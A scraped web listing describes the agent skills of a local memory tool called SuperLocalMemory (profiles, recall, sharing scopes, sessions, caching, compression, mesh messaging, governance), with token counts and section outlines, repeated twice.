Files
SKILL.mdcore14,712 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-profile
When your agent uses it
Memory profiles (separate namespaces inside one SuperLocalMemory store) and MCP tool sets (which tools your host sees). Use switch_profile or slm profile switch to change the active memory profile, the profile_id argument to read or write another profile for one call, and `slm tools set <name>` to choose the tool set every connected app sees. Required when working across multiple projects, clients, or tenants.
What it loads into context
Frontmatter
205 tokensAlways available to the agent
SKILL.md
2,090 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Memory profiles
- MCP tool sets
- If a tool is missing
- Related skills
Files
SKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-recall
When your agent uses it
Search and retrieve facts, decisions, and past context from SuperLocalMemory. Use when the user asks to recall, find, search, or "what did we decide/say about X". Triggers multi-channel semantic retrieval with reranking; always call before storing anything new.
What it loads into context
Frontmatter
173 tokensAlways available to the agent
SKILL.md
6,399 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use recall vs search vs fetch vs list_recent
- Recall-before-remember discipline
- MCP-first workflow
- How multi-channel retrieval works
- CLI fallback (when MCP is unavailable)
- Never fabricate a memory
- Shared and global memories (opt-in)
- Profile-aware retrieval
- Related skills
Files
SKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytes../../../docs/shared-memory.mddoc4,412 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-remember
When your agent uses it
Capture durable facts, decisions, constraints, and gotchas into SuperLocalMemory. Use when the user says "remember that", "save this decision", "note this constraint", or when a session produces a conclusion worth persisting across sessions. Always recall first to avoid duplicates.
What it loads into context
Frontmatter
185 tokensAlways available to the agent
SKILL.md
3,945 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What to store (and what not to)
- Recall-before-remember (mandatory discipline)
- MCP-first workflow
- Deleting stale facts
- CLI fallback (when MCP is unavailable)
- Update vs forget discipline
- Sharing across profiles (opt-in)
- Profile-aware storage
- Related skills
Files
SKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytes../../../docs/shared-memory.mddoc4,412 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-scope
When your agent uses it
Controls memory visibility across profiles — personal (private, default), shared (selected profiles), or global (all profiles on this machine). Default is always personal. Only change scope when the user explicitly asks to share a memory across workspaces. Works with both remember (write scope) and recall (read scope flags).
What it loads into context
Frontmatter
167 tokensAlways available to the agent
SKILL.md
1,473 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The Three Scopes
- Opt-in is mandatory
- Writing a shared or global fact
- Reading shared or global facts
- Configuring scope defaults
- Enterprise governance
- Scope deletion and retention
- Related skills
Files
SKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-session
When your agent uses it
Manage SuperLocalMemory session lifecycle — call session_init once at the start of every fresh session to load relevant project context and get a session_id; call close_session when work is meaningfully complete to commit temporal summaries. Correct lifecycle hygiene is what makes SLM's learning loop work.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
2,834 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The lifecycle in one diagram
- session_init — call once per fresh session
- close_session — call when work is meaningfully complete
- Why this matters
- CLI fallback (when MCP is unavailable)
- Common mistakes
- Profile context
- Related skills
Files
SKILL.mdcore11,528 bytesSKILL.mdcore11,528 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-status
When your agent uses it
Health and optimization stats for SuperLocalMemory — call slm_optimize_stats() for live compression and cache counters (compress_runs, tokens_saved_compress, cache_proxy_hits, cache_proxy_misses, cache_kv_hits, cache_kv_misses); run slm status [--json] for system state (mode, profile, DB size, fact/entity/edge counts) and slm doctor [--json] for preflight including the "Optimize (Surface B)" health line; use together to confirm optimization is actually saving tokens.
What it loads into context
Frontmatter
229 tokensAlways available to the agent
SKILL.md
3,023 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_optimize_stats
- Secondary CLI: slm status
- Secondary CLI: slm doctor
- Secondary CLI: slm optimize status
- Store health and recovery
- Memory health: SLM looks after older memories
- Pictures and documents: status and repair
- Recommended Health Workflow
- Fail-Open
- Profile-aware status
- Related skills
Files
SKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-web-access
When your agent uses it
Set up and troubleshoot SuperLocalMemory Web access, the optional link that lets web apps (ChatGPT, Claude on the web, Muse, Composio, other remote MCP clients) use the memory on this computer. Covers turning it on from the dashboard, adding and removing apps, read/save/session permissions, the second yes for bot messages and pictures (the Web access switches in Connected apps), one-time upload links for pictures and PDFs, what leaves the computer, renewal, the connection states, the errors a web app can see, and the copy-paste instructions for web agents.
What it loads into context
Frontmatter
235 tokensAlways available to the agent
SKILL.md
2,516 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What it is
- Turning it on (the owner does this, in the dashboard)
- What a web app can call
- The second yes: Web access switches
- Adding a picture or PDF from a web app
- What leaves the computer
- Instructions for the web agent
- Renewal
- When a web app reports an error
- Removing an app
- Related skills
Files
SKILL.mdcore10,171 bytesSKILL.mdcore10,171 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-bot-memory
When your agent uses it
Cross-bot memory on a shared computer (Grok Bot, Cursor plugin, any host where several agents share one machine). Explains agent_id attribution vs. profile/scope access, how to namespace by agent_id + profile + scope, and what must never be written to memory. Read this before the first remember/recall on a new Grok-Bot-style host.
What it loads into context
Frontmatter
232 tokensAlways available to the agent
SKILL.md
2,301 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Three things that sound like isolation and are not the same
- Namespacing that actually works
- What never goes into memory, on any host
- Bots that talk to each other, and bots on the web
- Checklist for a new bot on an existing shared host
- Related skills
Files
SKILL.mdcore9,257 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-cache
When your agent uses it
KV cache for repeated reads — call slm_cache_get(key) first; on a miss do the expensive operation then slm_cache_set(key, value, ttl_seconds) to store it; on a hit use the returned value directly; always fail-open (hit:false on any error, never raises); saves tokens when the same file, query result, or tool output is read more than once in a session.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
1,635 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Tool: slm_cache_set
- Tool: slm_cache_get
- Standard Pattern: Cache-Aside
- Key Naming Convention
- When Caching Pays Off
- Fail-Open Guarantee
- TTL Guidance
- Secondary CLI (fallback when MCP is unavailable)
- Related skills
Files
SKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-compress
When your agent uses it
Compress large text, tool output, or transcripts to reduce context-window usage while keeping the full 1M window intact — call slm_compress(content, mode, reversible, ttl_seconds) to shrink content; if the result is lossy a ccr_id is returned so you can call slm_retrieve(ccr_id) later to recover the exact original; always fail-open (ok:false → continue with the original).
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
1,611 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_compress
- Recovery Tool: slm_retrieve
- Decision: When to Compress
- Fail-Open Guarantee
- Worked Example
- Secondary CLI (fallback when MCP is unavailable)
- Size Cap
- Related skills
Files
SKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-getting-started-bot
When your agent uses it
First-session orientation for SuperLocalMemory on a headless bot host (Grok Bot, or any Cursor-format plugin install with no hooks, no dashboard, and no interactive setup wizard). What is different here vs. Claude Code/Codex, which 19 tools are actually available, and the first three calls to make.
What it loads into context
Frontmatter
204 tokensAlways available to the agent
SKILL.md
2,432 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is NOT available here
- What IS available: the core profile (19 tools)
- Pictures, PDFs and bot messages are not in this tool set
- If this bot reaches SLM through Web access instead
- The first three calls on a new host
- Cold start is slower here than on a warm laptop
- This host already runs the lite bot-host profile
- Troubleshooting
- Related skills
Files
SKILL.mdcore9,698 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-governance
When your agent uses it
Governed-workspace behavior for SuperLocalMemory. Covers roles (admin/member/viewer) and company mode, who administers a company-mode workspace (a signed-in admin, or `slm team` on the SLM computer), `slm token show` in strict mode, what remote web apps can never see or change, retention and lifecycle settings, the audit trail, GDPR export and erasure, and how agents must behave when operating under workspace governance. The audit and retention tools need the power MCP profile. Agents must never bypass governance controls.
What it loads into context
Frontmatter
293 tokensAlways available to the agent
SKILL.md
3,008 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role model
- Who administers a company-mode workspace
- require-login
- Retention and lifecycle
- Audit trail
- GDPR
- Scope enforcement in governed workspaces
- Integrity checks
- Agent checklist for governed workspaces
- Related skills
Files
SKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-graph
When your agent uses it
Index and query a codebase as a structural graph — build the code graph, trace blast radius of a change, find callers/callees/inheritors, semantic code search by meaning, assemble PR review context, and detect what changed since last index. Use when the user asks how code connects, what breaks if X changes, what calls a function, what a class inherits from, how to navigate an unfamiliar codebase, or to understand risk before editing.
What it loads into context
Frontmatter
209 tokensAlways available to the agent
SKILL.md
3,017 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Reference
- Realistic Workflow
- Error Handling
- Tool set requirement
- Related skills
Files
SKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-loop
When your agent uses it
Gate-verified bounded loops with SuperLocalMemory as the durable ledger. Use when a task has a checkable acceptance condition and you must iterate until an INDEPENDENT gate passes — never stopping because the agent believes it is done. `slm_loop_run` (MCP) waits, under hard bounds, for an independently executed check registered by the operator to pass; `slm loop demo` shows the control flow keyless; `slm loop history` and `slm loop show <run_id>` (or `slm_loop_history` / `slm_loop_show`) inspect past runs, whose every lap is stored as queryable SLM memory (tag `loop:<name>`). Terminal statuses are DONE / HALT / PAUSE / KILLED / ERROR — report them exactly, never converting HALT/PAUSE/ERROR into success.
What it loads into context
Frontmatter
289 tokensAlways available to the agent
SKILL.md
2,418 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The one rule
- What SLM runs, and what you run
- What SLM adds
- MCP: `slm_loop_run`
- CLI
- The bounds
- Terminal statuses — report exactly
- Reporting workflow
- Gate discipline
- The learning brain around loops
- Related skills
Files
SKILL.mdcore9,465 bytesSKILL.mdcore9,465 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-media
When your agent uses it
Save pictures and PDFs in SuperLocalMemory and find them again by describing them. Covers when to save a picture or document, remember_media, remember_document, get_media, media_status and media_upload_link, how recall returns pictures and PDF pages, the limits, what stays private, turning the feature on with `slm media` (16 GB of memory needed), connecting folders with `slm sources`, and how web apps add files through one-time upload links. Off by default.
What it loads into context
Frontmatter
265 tokensAlways available to the agent
SKILL.md
3,933 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to save a picture or a PDF
- Are the tools there?
- Tool reference
- How recall returns pictures and pages
- Limits
- Privacy: what stays and what leaves
- Web apps: two yeses, then an upload link
- Folders and Obsidian vaults
- Upgrade memory engine (preview)
- Related skills
Files
SKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-mesh
When your agent uses it
Cross-session peer coordination via the SLM mesh network. Lets multiple AI agent sessions on the same machine, and web apps the owner has allowed (ChatGPT, Claude on the web, Grok Bot, Muse, Composio), discover each other, send messages, wait for replies with mesh_wait, share lightweight state, and lock files to avoid conflicts. Covers the at-least-once delivery rule for web apps (pass ack_ids back as ack) and the two permissions a web app needs. Available in the default tool set and in the full, power and mesh MCP profiles. Only `slm mesh status` and `slm mesh peers` exist on the command line; the other tools are MCP-only.
What it loads into context
Frontmatter
344 tokensAlways available to the agent
SKILL.md
3,691 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Profile requirement
- Tool reference
- Web apps on the mesh
- Common workflow: parallel agents coordinating on a shared repo
- Mesh vs memory: when to use which
- Error handling
- Related skills
Files
SKILL.mdcore14,712 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-profile
When your agent uses it
Memory profiles (separate namespaces inside one SuperLocalMemory store) and MCP tool sets (which tools your host sees). Use switch_profile or slm profile switch to change the active memory profile, the profile_id argument to read or write another profile for one call, and `slm tools set <name>` to choose the tool set every connected app sees. Required when working across multiple projects, clients, or tenants.
What it loads into context
Frontmatter
205 tokensAlways available to the agent
SKILL.md
2,090 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Memory profiles
- MCP tool sets
- If a tool is missing
- Related skills
Files
SKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-recall
When your agent uses it
Search and retrieve facts, decisions, and past context from SuperLocalMemory. Use when the user asks to recall, find, search, or "what did we decide/say about X". Triggers multi-channel semantic retrieval with reranking; always call before storing anything new.
What it loads into context
Frontmatter
173 tokensAlways available to the agent
SKILL.md
6,399 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use recall vs search vs fetch vs list_recent
- Recall-before-remember discipline
- MCP-first workflow
- How multi-channel retrieval works
- CLI fallback (when MCP is unavailable)
- Never fabricate a memory
- Shared and global memories (opt-in)
- Profile-aware retrieval
- Related skills
Files
SKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytes../../../docs/shared-memory.mddoc4,412 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-remember
When your agent uses it
Capture durable facts, decisions, constraints, and gotchas into SuperLocalMemory. Use when the user says "remember that", "save this decision", "note this constraint", or when a session produces a conclusion worth persisting across sessions. Always recall first to avoid duplicates.
What it loads into context
Frontmatter
185 tokensAlways available to the agent
SKILL.md
3,945 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What to store (and what not to)
- Recall-before-remember (mandatory discipline)
- MCP-first workflow
- Deleting stale facts
- CLI fallback (when MCP is unavailable)
- Update vs forget discipline
- Sharing across profiles (opt-in)
- Profile-aware storage
- Related skills
Files
SKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytes../../../docs/shared-memory.mddoc4,412 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-scope
When your agent uses it
Controls memory visibility across profiles — personal (private, default), shared (selected profiles), or global (all profiles on this machine). Default is always personal. Only change scope when the user explicitly asks to share a memory across workspaces. Works with both remember (write scope) and recall (read scope flags).
What it loads into context
Frontmatter
167 tokensAlways available to the agent
SKILL.md
1,473 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The Three Scopes
- Opt-in is mandatory
- Writing a shared or global fact
- Reading shared or global facts
- Configuring scope defaults
- Enterprise governance
- Scope deletion and retention
- Related skills
Files
SKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-session
When your agent uses it
Manage SuperLocalMemory session lifecycle — call session_init once at the start of every fresh session to load relevant project context and get a session_id; call close_session when work is meaningfully complete to commit temporal summaries. Correct lifecycle hygiene is what makes SLM's learning loop work.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
2,834 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The lifecycle in one diagram
- session_init — call once per fresh session
- close_session — call when work is meaningfully complete
- Why this matters
- CLI fallback (when MCP is unavailable)
- Common mistakes
- Profile context
- Related skills
Files
SKILL.mdcore11,528 bytesSKILL.mdcore11,528 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-status
When your agent uses it
Health and optimization stats for SuperLocalMemory — call slm_optimize_stats() for live compression and cache counters (compress_runs, tokens_saved_compress, cache_proxy_hits, cache_proxy_misses, cache_kv_hits, cache_kv_misses); run slm status [--json] for system state (mode, profile, DB size, fact/entity/edge counts) and slm doctor [--json] for preflight including the "Optimize (Surface B)" health line; use together to confirm optimization is actually saving tokens.
What it loads into context
Frontmatter
229 tokensAlways available to the agent
SKILL.md
3,023 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_optimize_stats
- Secondary CLI: slm status
- Secondary CLI: slm doctor
- Secondary CLI: slm optimize status
- Store health and recovery
- Memory health: SLM looks after older memories
- Pictures and documents: status and repair
- Recommended Health Workflow
- Fail-Open
- Profile-aware status
- Related skills
Files
SKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-web-access
When your agent uses it
Set up and troubleshoot SuperLocalMemory Web access, the optional link that lets web apps (ChatGPT, Claude on the web, Muse, Composio, other remote MCP clients) use the memory on this computer. Covers turning it on from the dashboard, adding and removing apps, read/save/session permissions, the second yes for bot messages and pictures (the Web access switches in Connected apps), one-time upload links for pictures and PDFs, what leaves the computer, renewal, the connection states, the errors a web app can see, and the copy-paste instructions for web agents.
What it loads into context
Frontmatter
235 tokensAlways available to the agent
SKILL.md
2,516 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What it is
- Turning it on (the owner does this, in the dashboard)
- What a web app can call
- The second yes: Web access switches
- Adding a picture or PDF from a web app
- What leaves the computer
- Instructions for the web agent
- Renewal
- When a web app reports an error
- Removing an app
- Related skills
Files
SKILL.mdcore10,171 bytesSKILL.mdcore10,171 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsuperlocalmemory-web
When your agent uses it
Use the user's SuperLocalMemory through Web access. Recall before answering questions that depend on their past decisions, preferences, projects or rules; save lasting facts with a kind and tags when saving is allowed; say "I don't have that" when recall abstains; add pictures and PDFs through an upload link or a ChatGPT attachment; wait for bot messages with mesh_wait and acknowledge them with ack; handle an asleep computer or a used-up daily allowance without failing the conversation.
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
1,584 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore7,137 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-bot-memory
When your agent uses it
Cross-bot memory on a shared computer (Grok Bot, Cursor plugin, any host where several agents share one machine). Explains agent_id attribution vs. profile/scope access, how to namespace by agent_id + profile + scope, and what must never be written to memory. Read this before the first remember/recall on a new Grok-Bot-style host.
What it loads into context
Frontmatter
232 tokensAlways available to the agent
SKILL.md
2,301 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Three things that sound like isolation and are not the same
- Namespacing that actually works
- What never goes into memory, on any host
- Bots that talk to each other, and bots on the web
- Checklist for a new bot on an existing shared host
- Related skills
Files
SKILL.mdcore9,257 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-cache
When your agent uses it
KV cache for repeated reads — call slm_cache_get(key) first; on a miss do the expensive operation then slm_cache_set(key, value, ttl_seconds) to store it; on a hit use the returned value directly; always fail-open (hit:false on any error, never raises); saves tokens when the same file, query result, or tool output is read more than once in a session.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
1,635 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Tool: slm_cache_set
- Tool: slm_cache_get
- Standard Pattern: Cache-Aside
- Key Naming Convention
- When Caching Pays Off
- Fail-Open Guarantee
- TTL Guidance
- Secondary CLI (fallback when MCP is unavailable)
- Related skills
Files
SKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-compress
When your agent uses it
Compress large text, tool output, or transcripts to reduce context-window usage while keeping the full 1M window intact — call slm_compress(content, mode, reversible, ttl_seconds) to shrink content; if the result is lossy a ccr_id is returned so you can call slm_retrieve(ccr_id) later to recover the exact original; always fail-open (ok:false → continue with the original).
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
1,611 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_compress
- Recovery Tool: slm_retrieve
- Decision: When to Compress
- Fail-Open Guarantee
- Worked Example
- Secondary CLI (fallback when MCP is unavailable)
- Size Cap
- Related skills
Files
SKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-getting-started-bot
When your agent uses it
First-session orientation for SuperLocalMemory on a headless bot host (Grok Bot, or any Cursor-format plugin install with no hooks, no dashboard, and no interactive setup wizard). What is different here vs. Claude Code/Codex, which 19 tools are actually available, and the first three calls to make.
What it loads into context
Frontmatter
204 tokensAlways available to the agent
SKILL.md
2,432 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is NOT available here
- What IS available: the core profile (19 tools)
- Pictures, PDFs and bot messages are not in this tool set
- If this bot reaches SLM through Web access instead
- The first three calls on a new host
- Cold start is slower here than on a warm laptop
- This host already runs the lite bot-host profile
- Troubleshooting
- Related skills
Files
SKILL.mdcore9,698 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-governance
When your agent uses it
Governed-workspace behavior for SuperLocalMemory. Covers roles (admin/member/viewer) and company mode, who administers a company-mode workspace (a signed-in admin, or `slm team` on the SLM computer), `slm token show` in strict mode, what remote web apps can never see or change, retention and lifecycle settings, the audit trail, GDPR export and erasure, and how agents must behave when operating under workspace governance. The audit and retention tools need the power MCP profile. Agents must never bypass governance controls.
What it loads into context
Frontmatter
293 tokensAlways available to the agent
SKILL.md
3,008 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role model
- Who administers a company-mode workspace
- require-login
- Retention and lifecycle
- Audit trail
- GDPR
- Scope enforcement in governed workspaces
- Integrity checks
- Agent checklist for governed workspaces
- Related skills
Files
SKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-graph
When your agent uses it
Index and query a codebase as a structural graph — build the code graph, trace blast radius of a change, find callers/callees/inheritors, semantic code search by meaning, assemble PR review context, and detect what changed since last index. Use when the user asks how code connects, what breaks if X changes, what calls a function, what a class inherits from, how to navigate an unfamiliar codebase, or to understand risk before editing.
What it loads into context
Frontmatter
209 tokensAlways available to the agent
SKILL.md
3,017 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Reference
- Realistic Workflow
- Error Handling
- Tool set requirement
- Related skills
Files
SKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-loop
When your agent uses it
Gate-verified bounded loops with SuperLocalMemory as the durable ledger. Use when a task has a checkable acceptance condition and you must iterate until an INDEPENDENT gate passes — never stopping because the agent believes it is done. `slm_loop_run` (MCP) waits, under hard bounds, for an independently executed check registered by the operator to pass; `slm loop demo` shows the control flow keyless; `slm loop history` and `slm loop show <run_id>` (or `slm_loop_history` / `slm_loop_show`) inspect past runs, whose every lap is stored as queryable SLM memory (tag `loop:<name>`). Terminal statuses are DONE / HALT / PAUSE / KILLED / ERROR — report them exactly, never converting HALT/PAUSE/ERROR into success.
What it loads into context
Frontmatter
289 tokensAlways available to the agent
SKILL.md
2,418 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The one rule
- What SLM runs, and what you run
- What SLM adds
- MCP: `slm_loop_run`
- CLI
- The bounds
- Terminal statuses — report exactly
- Reporting workflow
- Gate discipline
- The learning brain around loops
- Related skills
Files
SKILL.mdcore9,465 bytesSKILL.mdcore9,465 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-media
When your agent uses it
Save pictures and PDFs in SuperLocalMemory and find them again by describing them. Covers when to save a picture or document, remember_media, remember_document, get_media, media_status and media_upload_link, how recall returns pictures and PDF pages, the limits, what stays private, turning the feature on with `slm media` (16 GB of memory needed), connecting folders with `slm sources`, and how web apps add files through one-time upload links. Off by default.
What it loads into context
Frontmatter
265 tokensAlways available to the agent
SKILL.md
3,933 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to save a picture or a PDF
- Are the tools there?
- Tool reference
- How recall returns pictures and pages
- Limits
- Privacy: what stays and what leaves
- Web apps: two yeses, then an upload link
- Folders and Obsidian vaults
- Upgrade memory engine (preview)
- Related skills
Files
SKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-mesh
When your agent uses it
Cross-session peer coordination via the SLM mesh network. Lets multiple AI agent sessions on the same machine, and web apps the owner has allowed (ChatGPT, Claude on the web, Grok Bot, Muse, Composio), discover each other, send messages, wait for replies with mesh_wait, share lightweight state, and lock files to avoid conflicts. Covers the at-least-once delivery rule for web apps (pass ack_ids back as ack) and the two permissions a web app needs. Available in the default tool set and in the full, power and mesh MCP profiles. Only `slm mesh status` and `slm mesh peers` exist on the command line; the other tools are MCP-only.
What it loads into context
Frontmatter
344 tokensAlways available to the agent
SKILL.md
3,691 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Profile requirement
- Tool reference
- Web apps on the mesh
- Common workflow: parallel agents coordinating on a shared repo
- Mesh vs memory: when to use which
- Error handling
- Related skills
Files
SKILL.mdcore14,712 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-profile
When your agent uses it
